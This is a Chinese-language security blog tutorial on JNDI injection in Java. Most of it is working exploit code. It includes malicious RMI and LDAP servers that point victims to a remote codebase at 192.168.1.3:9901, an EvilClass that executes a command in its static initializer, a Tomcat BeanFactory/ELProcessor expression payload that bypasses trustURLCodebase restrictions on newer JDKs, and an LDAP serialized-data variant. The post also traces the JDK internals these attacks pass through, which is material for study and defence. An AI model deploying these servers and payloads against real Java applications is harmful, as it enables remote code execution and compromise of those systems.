JNDI注入原理及利用

警告
本文最后更新于 2022-08-11,文中内容可能已过时。

恶意服务端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main_Evil {

    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("EvilClass", "EvilClass", "http://192.168.1.3:9901/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

远程加载类如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory{

    static{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }


    public EvilClass() {
        System.out.println("EvilClass()");
    }


    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

客户端代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.RegistryContext;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class Main {
    public static void main(String[] args) throws NamingException, RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException {
        Context context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/hello");
    }
}

下面分析客户端是如何通过rmi请求服务端加载恶意代码实现命令执行的

经过一系列初始化操作,程序通过registry.lookup​获取远程调用的对象,这里为hello

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810072-image-20221121204925-0jao7v3.png

当对象不存在时,程序会抛出NameNotFoundException​的错误

继续分析decodeObject

由于服务端ReferenceWrapper 包装了远程对象,客户端在获取对象时也需要获取对应的Reference

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121205717-0581m9f.png

跟进到getObjectFactoryFromReference方法,在远程获取恶意类之前,程序会根据类名等信息查找本地是否存在对应的类,如果有的话是不会进行远程调用的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121205945-r2vzxrc.png

当本地不存在恶意类,程序会通过URLClassLoader远程将类导入

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121210152-m8pn6pk.png

并通过loadClass->Class.forName()返回类对象

在高版本中呢,rmi的利用姿势增加了限制,继续使用上面的payload会提示错误

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121203404-ocneia7.png

代码中也会有体现

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121203442-90v615m.png

当我们把trustURLCodebase改为true之后,程序并没有弹出报错,但也没有成功将计算器弹出

原因为,在最后进行loadclass时,程序又添加了一步校验

当com.sun.jndi.ldap.object.trustURLCodebase也为true的时候,程序才会将恶意类导入内存

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121203817-2l8amqs.png

所以在高版本中,想通过上面的payload对客户端进行攻击,客户端需要添加如下两行代码

1
2
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121204001-uhe02pq.png

服务端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class MAIN_EVIL_LDAP {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://192.168.1.3:9901/#EvilClass", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(MAIN_EVIL_LDAP.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

客户端代码

1
2
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:9999/hello");

ldap与rmi远程加载类处理方法差不多

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:33, Main_RMI

最终都是利用URLClassLoader将恶意类导入内存后通过Class.forName将恶意类引用触发static方法

与rmi不一样的是,ldap在jdk 1.8.191后将com.sun.jndi.rmi.object.trustURLCodebase默认为false

所以,这个版本之后,如果想通过默认姿势利用ldap实现命令执行,需要打开trustURLCodebase

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221121215333-i92gr89.png

Maven依赖如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

    <dependencies>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.1.1</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.11</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.11</version>
        </dependency>
    </dependencies>

恶意Server代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main_Evil {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']('calc').start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);

    }
}

记得前面说过,rmi在1.8.181时增加了trustURLCodebase校验,新版本中默认为false,仔细观察条件会发现,当codebase为false时,使用本地加载恶意类的方式也是可以绕过该条件限制的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221122113549-wdm444h.png

其中org.apache.naming.factory.BeanFactory​ 在被调用getObjectInstance​方法时可通过配合el表达式实现命令执行

简单用代码表示如下:

1
2
ELProcessor elProcessor = new ELProcessor();
elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']('calc').start()\")");

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221122114530-02n6mfs.png

通过Main_Evil的代码调试分析

通过反射获取ELProcessord的eval方法后将其注册到hashmap中(注册前程序将forceString内容取出,并将分别存储为propName和param)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221122115240-g0jt9j0.png

最后会通过hashmap将eval方法取出,通过反射invoke调用eval触发表达式实现命令执行

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810073-image-20221122115936-nttcaxq.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810074-image-20221122120815-rh920vg.png

在高版本中利用ldap也跟rmi利用思路相似,都是基于客户端本地环境进行攻击,限制较大。比rmi好的是,ldap是通过反序列化触发命令执行的,相对来说,在高版本中ldap比rmi有更大范围的利用姿势(链多)

定位到decodeObject,若想触发deserializeObjectf方法,需要对ldap恶意服务端稍作修改

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810074-image-20221122124455-ocejvpv.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810074-image-20221122124512-or4quhr.png

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import java.util.Collection;


public class MAIN_EVIL_LDAP {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://192.168.1.3:9901/#EvilClass", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(MAIN_EVIL_LDAP.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, IOException, ParseException {
//            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
//            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
//            e.addAttribute("javaClassName", "foo");
//            String cbstring = this.codebase.toString();
//            int refPos = cbstring.indexOf('#');
//            if (refPos > 0) {
//                cbstring = cbstring.substring(0, refPos);
//            }
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//            e.addAttribute("javaFactory", this.codebase.getRef());
//            result.sendSearchEntry(e);
//            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            e.addAttribute("javaClassName", "foo");
            //getObject获取Gadget


            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyAApFdmlsX0NsYXNzUuKRJHSaP/oCAAB4cA=="));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

主要修改内容为 sendResult,将序列化数据赋值进javaSerializedData后对数据进行readobject实现反序列化


https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810074-image-20221122125045-k6lhzzq.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678810074-image-20221122125124-5bn2nld.png